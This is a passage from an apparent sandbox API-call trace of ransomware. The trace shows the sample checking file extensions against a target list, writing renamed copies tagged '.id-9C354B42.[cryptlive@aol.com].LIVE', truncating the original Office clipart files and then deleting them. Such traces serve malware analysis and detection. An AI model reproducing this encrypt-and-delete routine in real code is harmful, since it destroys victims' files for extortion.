Office\\CLIPART\\PUB60COR\\J0086426.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.824] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf")) returned 1 [0147.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0147.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0147.824] lstrlenW (lpString=".doc") returned 4 [0147.824] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.825] lstrlenW (lpString=".docx") returned 5 [0147.825] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0147.825] lstrlenW (lpString=".pdf") returned 4 [0147.825] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.825] lstrlenW (lpString=".xls") returned 4 [0147.825] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.825] lstrlenW (lpString=".xlsx") returned 5 [0147.825] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0147.825] lstrlenW (lpString=".ppt") returned 4 [0147.825] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0147.825] lstrlenW (lpString=".zip") returned 4 [0147.825] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.825] lstrlenW (lpString=".rar") returned 4 [0147.825] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.825] lstrlenW (lpString=".bz2") returned 4 [0147.825] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.825] lstrlenW (lpString=".7z") returned 3 [0147.825] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0147.825] lstrlenW (lpString=".dbf") returned 4 [0147.825] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0147.825] lstrlenW (lpString=".1cd") returned 4 [0147.825] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0147.825] lstrlenW (lpString=".jpg") returned 4 [0147.825] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0147.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0147.825] lstrlenW (lpString=".doc") returned 4 [0147.825] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.825] lstrlenW (lpString=".docx") returned 5 [0147.825] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0147.825] lstrlenW (lpString=".pdf") returned 4 [0147.826] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.826] lstrlenW (lpString=".xls") returned 4 [0147.826] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.826] lstrlenW (lpString=".xlsx") returned 5 [0147.826] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0147.826] lstrlenW (lpString=".ppt") returned 4 [0147.826] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0147.826] lstrlenW (lpString=".zip") returned 4 [0147.826] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.826] lstrlenW (lpString=".rar") returned 4 [0147.826] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.826] lstrlenW (lpString=".bz2") returned 4 [0147.826] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.826] lstrlenW (lpString=".7z") returned 3 [0147.826] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0147.826] lstrlenW (lpString=".dbf") returned 4 [0147.826] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0147.826] lstrlenW (lpString=".1cd") returned 4 [0147.826] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0147.826] lstrlenW (lpString=".jpg") returned 4 [0147.826] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.826] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0147.826] lstrlenW (lpString="J0086428.WMF") returned 12 [0147.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0147.852] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=35346) returned 1 [0147.866] CloseHandle (hObject=0x3b4) returned 1 [0147.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf")) returned 0x20 [0147.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0147.878] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.878] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0147.880] GetLastError () returned 0x0 [0147.880] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x8a12, lpOverlapped=0x0) returned 1 [0147.882] WriteFile (in: hFile=0x380, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x8a20, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x8a20, lpOverlapped=0x0) returned 1 [0147.883] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0147.883] WriteFile (in: hFile=0x380, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.884] SetEndOfFile (hFile=0x380) returned 1 [0147.884] CloseHandle (hObject=0x380) returned 1 [0147.884] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.884] SetEndOfFile (hFile=0x3b4) returned 1 [0147.886] CloseHandle (hObject=0x3b4) returned 1 [0147.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.887] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf")) returned 1 [0147.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0147.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0147.887] lstrlenW (lpString=".doc") returned 4 [0147.887] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.887] lstrlenW (lpString=".docx") returned 5 [0147.887] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0147.888] lstrlenW (lpString=".pdf") returned 4 [0147.888] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.888] lstrlenW (lpString=".xls") returned 4 [0147.888] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.888] lstrlenW (lpString=".xlsx") returned 5 [0147.888] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0147.888] lstrlenW (lpString=".ppt") returned 4 [0147.888] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0147.888] lstrlenW (lpString=".zip") returned 4 [0147.888] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.888] lstrlenW (lpString=".rar") returned 4 [0147.888] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.888] lstrlenW (lpString=".bz2") returned 4 [0147.888] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.888] lstrlenW (lpString=".7z") returned 3 [0147.888] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0147.888] lstrlenW (lpString=".dbf") returned 4 [0147.888] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0147.888] lstrlenW (lpString=".1cd") returned 4 [0147.888] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0147.888] lstrlenW (lpString=".jpg") returned 4 [0147.888] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0147.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0147.888] lstrlenW (lpString=".doc") returned 4 [0147.888] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.888] lstrlenW (lpString=".docx") returned 5 [0147.888] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0147.888] lstrlenW (lpString=".pdf") returned 4 [0147.888] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.888] lstrlenW (lpString=".xls") returned 4 [0147.889] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.889] lstrlenW (lpString=".xlsx") returned 5 [0147.889] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0147.889] lstrlenW (lpString=".ppt") returned 4 [0147.889] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0147.889] lstrlenW (lpString=".zip") returned 4 [0147.889] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.889] lstrlenW (lpString=".rar") returned 4 [0147.889] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.889] lstrlenW (lpString=".bz2") returned 4 [0147.889] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.889] lstrlenW (lpString=".7z") returned 3 [0147.889] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0147.889] lstrlenW (lpString=".dbf") returned 4 [0147.889] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0147.889] lstrlenW (lpString=".1cd") returned 4 [0147.889] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0147.889] lstrlenW (lpString=".jpg") returned 4 [0147.889] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.889] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0147.889] lstrlenW (lpString="J0090027.WMF") returned 12 [0147.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0147.890] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=21268) returned 1 [0147.890] CloseHandle (hObject=0x3b4) returned 1 [0147.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf")) returned 0x20 [0147.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0147.890] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.890] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0147.891] GetLastError () returned 0x0 [0147.891] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x5314, lpOverlapped=0x0) returned 1 [0147.973] WriteFile (in: hFile=0x380, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x5320, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x5320, lpOverlapped=0x0) returned 1 [0147.974] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0147.974] WriteFile (in: hFile=0x380, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.974] SetEndOfFile (hFile=0x380) returned 1 [0147.974] CloseHandle (hObject=0x380) returned 1 [0147.975] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.975] SetEndOfFile (hFile=0x3b4) returned 1 [0147.977] CloseHandle (hObject=0x3b4) returned 1 [0147.978] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.030] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf")) returned 1 [0148.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0148.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0148.046] lstrlenW (lpString=".doc") returned 4 [0148.046] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.046] lstrlenW (lpString=".docx") returned 5 [0148.046] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0148.046] lstrlenW (lpString=".pdf") returned 4 [0148.046] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.046] lstrlenW (lpString=".xls") returned 4 [0148.047] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.047] lstrlenW (lpString=".xlsx") returned 5 [0148.047] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0148.047] lstrlenW (lpString=".ppt") returned 4 [0148.047] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0148.047] lstrlenW (lpString=".zip") returned 4 [0148.047] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.047] lstrlenW (lpString=".rar") returned 4 [0148.047] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.047] lstrlenW (lpString=".bz2") returned 4 [0148.047] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.047] lstrlenW (lpString=".7z") returned 3 [0148.047] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0148.047] lstrlenW (lpString=".dbf") returned 4 [0148.047] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0148.047] lstrlenW (lpString=".1cd") returned 4 [0148.047] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0148.047] lstrlenW (lpString=".jpg") returned 4 [0148.047] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0148.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0148.047] lstrlenW (lpString=".doc") returned 4 [0148.047] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.047] lstrlenW (lpString=".docx") returned 5 [0148.047] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0148.047] lstrlenW (lpString=".pdf") returned 4 [0148.047] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.047] lstrlenW (lpString=".xls") returned 4 [0148.047] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.047] lstrlenW (lpString=".xlsx") returned 5 [0148.047] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0148.047] lstrlenW (lpString=".ppt") returned 4 [0148.048] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0148.048] lstrlenW (lpString=".zip") returned 4 [0148.048] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.048] lstrlenW (lpString=".rar") returned 4 [0148.048] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.048] lstrlenW (lpString=".bz2") returned 4 [0148.048] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.048] lstrlenW (lpString=".7z") returned 3 [0148.048] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0148.048] lstrlenW (lpString=".dbf") returned 4 [0148.048] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0148.048] lstrlenW (lpString=".1cd") returned 4 [0148.048] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0148.048] lstrlenW (lpString=".jpg") returned 4 [0148.048] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.048] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0148.048] lstrlenW (lpString="J0090779.WMF") returned 12 [0148.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0148.049] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=1456) returned 1 [0148.049] CloseHandle (hObject=0x3c4) returned 1 [0148.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf")) returned 0x20 [0148.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0148.049] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.049] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0148.050] GetLastError () returned 0x0 [0148.050] ReadFile (in: hFile=0x3c4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x5b0, lpOverlapped=0x0) returned 1 [0148.126] WriteFile (in: hFile=0x3cc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0148.127] ReadFile (in: hFile=0x3c4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0148.127] WriteFile (in: hFile=0x3cc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.127] SetEndOfFile (hFile=0x3cc) returned 1 [0148.127] CloseHandle (hObject=0x3cc) returned 1 [0148.127] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.127] SetEndOfFile (hFile=0x3c4) returned 1 [0148.130] CloseHandle (hObject=0x3c4) returned 1 [0148.130] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.130] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf")) returned 1 [0148.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0148.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0148.131] lstrlenW (lpString=".doc") returned 4 [0148.131] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.131] lstrlenW (lpString=".docx") returned 5 [0148.131] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 